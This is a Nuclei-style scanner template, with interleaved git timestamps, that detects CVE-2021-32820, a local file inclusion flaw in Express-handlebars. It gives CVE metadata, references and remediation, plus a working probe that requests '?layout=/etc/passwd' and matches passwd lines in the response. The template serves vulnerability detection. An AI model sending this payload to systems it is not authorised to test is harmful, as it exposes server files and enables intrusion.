2021-07-21 05:10:13 +00:00
id : CVE-2021-32820
info :
2022-06-30 17:43:51 +00:00
name : Express-handlebars - Local File Inclusion
2021-07-21 05:10:13 +00:00
author : dhiyaneshDk
2021-09-10 11:26:40 +00:00
severity : high
2022-06-30 17:43:51 +00:00
description : Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of Express-handlebars to mitigate the vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
2022-05-17 09:18:12 +00:00
- https://github.com/express-handlebars/express-handlebars/pull/163
2022-06-30 17:43:51 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-32820
2023-07-11 19:49:27 +00:00
- https://github.com/express-handlebars/express-handlebars/blob/78c47a235c4ad7bc2674bddd8ec2721567ed8c72/README.md#danger-
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 8.6
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-32820
2023-11-06 16:22:37 +00:00
cwe-id : CWE-94,CWE-200
2023-07-11 19:49:27 +00:00
epss-score : 0.00929
2023-11-07 14:54:31 +00:00
epss-percentile : 0.81292
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:node.js:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : express_handlebars_project
product : express_handlebars
2023-09-06 12:09:01 +00:00
framework : node.js
2023-07-11 19:49:27 +00:00
tags : cve,cve2021,expressjs,lfi,xxe
2021-07-21 05:10:13 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-21 05:10:13 +00:00
- method : GET
path :
- "{{BaseURL}}/?layout=/etc/passwd"
2021-07-22 11:02:37 +00:00
2021-07-21 05:10:13 +00:00
matchers-condition : and
matchers :
- type : regex
2022-07-02 10:27:18 +00:00
part : body
2021-07-21 05:10:13 +00:00
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-07-22 11:02:37 +00:00
- "daemon:[x*]:0:0:"
- "operator:[x*]:0:0:"
condition : or
2022-06-30 17:43:51 +00:00
2022-07-02 10:27:18 +00:00
- type : status
status :
- 200
2023-11-07 17:29:17 +00:00
# digest: 4a0a00473045022063ed2651d3f1054d3d799738c86fc92dc0fee3a0420eecd8e6c4e8461e62fb6f022100da8ecf2758a2b71d7bc13fcf52c40c243e2f157d9e967324c5b7df6b314528ef:922c64590222798bb761d5b6d8e72950